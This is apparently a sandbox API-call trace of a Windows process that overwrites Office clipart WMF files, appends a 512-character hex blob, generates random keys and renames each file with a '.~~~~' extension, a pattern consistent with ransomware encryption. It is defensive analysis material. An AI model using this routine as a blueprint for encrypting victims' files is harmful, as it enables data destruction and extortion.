	[0097.067] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xb54, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0xb54, lpOverlapped=0x0) returned 1
	[0097.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.068] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.069] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.069] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.069] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.069] CloseHandle (hObject=0x144) returned 1
	[0097.069] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.069] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105336.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105336.wmf.~~~~")) returned 1
	[0097.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.070] GetLastError () returned 0x0
	[0097.071] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.072] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.072] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.072] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.072] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21706218622) returned 1
	[0097.072] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa39374f0, dwHighDateTime=0x1d60e1e)) 
	[0097.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840730
	[0097.072] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840730 | out: hHeap=0x300000) returned 1
	[0097.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.073] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2843098
	[0097.073] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.073] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.073] GetLastError () returned 0x0
	[0097.073] GetLastError () returned 0x0
	[0097.073] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.073] GetLastError () returned 0x0
	[0097.074] GetLastError () returned 0x0
	[0097.091] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffedf0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.091] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x1210, lpOverlapped=0x0) returned 1
	[0097.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.092] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.092] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.093] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.093] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.093] CloseHandle (hObject=0x144) returned 1
	[0097.093] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0097.093] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105380.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105380.wmf.~~~~")) returned 1
	[0097.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.104] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.104] GetLastError () returned 0x0
	[0097.105] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.106] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.106] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.106] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.106] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21709629948) returned 1
	[0097.106] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa39837b0, dwHighDateTime=0x1d60e1e)) 
	[0097.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28407a0
	[0097.106] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28407a0 | out: hHeap=0x300000) returned 1
	[0097.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0097.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.107] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28434c0
	[0097.107] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0097.107] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.107] GetLastError () returned 0x0
	[0097.107] GetLastError () returned 0x0
	[0097.107] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.108] GetLastError () returned 0x0
	[0097.108] GetLastError () returned 0x0
	[0097.116] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffe8a4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.116] WriteFile (in: hFile=0x144, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x175c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x26dfec0*=0x175c, lpOverlapped=0x0) returned 1
	[0097.116] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0097.119] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.119] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.119] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.119] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.119] CloseHandle (hObject=0x144) returned 1
	[0097.126] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0097.126] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105386.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105386.wmf.~~~~")) returned 1
	[0097.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.135] GetLastError () returned 0x0
	[0097.136] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.137] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.137] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.137] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.137] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21712731684) returned 1
	[0097.137] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa39cfa70, dwHighDateTime=0x1d60e1e)) 
	[0097.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2840848
	[0097.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2840848 | out: hHeap=0x300000) returned 1
	[0097.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0097.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28435f0
	[0097.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.138] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.138] GetLastError () returned 0x0
	[0097.138] GetLastError () returned 0x0
	[0097.138] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.138] GetLastError () returned 0x0
	[0097.138] GetLastError () returned 0x0
	[0097.261] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xffffd4fc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.265] WriteFile (in: hFile=0x124, lpBuffer=0x2922060*, nNumberOfBytesToWrite=0x2b04, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2922060*, lpNumberOfBytesWritten=0x26dfec0*=0x2b04, lpOverlapped=0x0) returned 1
	[0097.266] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2922060 | out: hHeap=0x300000) returned 1
	[0097.266] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.266] WriteFile (in: hFile=0x124, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.266] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.266] WriteFile (in: hFile=0x124, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.266] CloseHandle (hObject=0x124) returned 1
	[0097.278] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28da600
	[0097.278] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105396.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105396.wmf.~~~~")) returned 1
	[0097.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.279] GetLastError () returned 0x0
	[0097.280] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.281] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.281] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.281] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21727092426) returned 1
	[0097.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3b266d0, dwHighDateTime=0x1d60e1e)) 
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28408b8
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28408b8 | out: hHeap=0x300000) returned 1
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28da600
	[0097.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.281] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28437b8
	[0097.281] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28da600 | out: hHeap=0x300000) returned 1
	[0097.281] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.282] GetLastError () returned 0x0
	[0097.282] GetLastError () returned 0x0
	[0097.282] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.282] GetLastError () returned 0x0
	[0097.282] GetLastError () returned 0x0
	[0097.288] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffffb024, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0097.288] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x4fdc, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x26dfec0*=0x4fdc, lpOverlapped=0x0) returned 1
	[0097.289] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0097.289] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0097.289] WriteFile (in: hFile=0x11c, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0097.289] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0097.289] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0097.289] CloseHandle (hObject=0x11c) returned 1
	[0097.289] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dbb00
	[0097.289] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105410.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105410.wmf.~~~~")) returned 1
	[0097.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dbb00 | out: hHeap=0x300000) returned 1
	[0097.291] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0097.291] GetLastError () returned 0x0
	[0097.291] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0097.292] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0097.292] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0097.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0097.292] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21728210426) returned 1
	[0097.292] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa3b4c830, dwHighDateTime=0x1d60e1e)) 
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28408f0
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0097.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28408f0 | out: hHeap=0x300000) returned 1
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0097.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dbb00
	[0097.292] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0097.292] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28438e8
	[0097.293] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dbb00 | out: hHeap=0x300000) returned 1
	[0097.293] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0097.293] GetLastError () returned 0x0
	[0097.293] GetLastError () returned 0x0
	[0097.293] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0097.293] GetLastError () returned 0x0
	[0097.293] GetLastError () returned 0x0
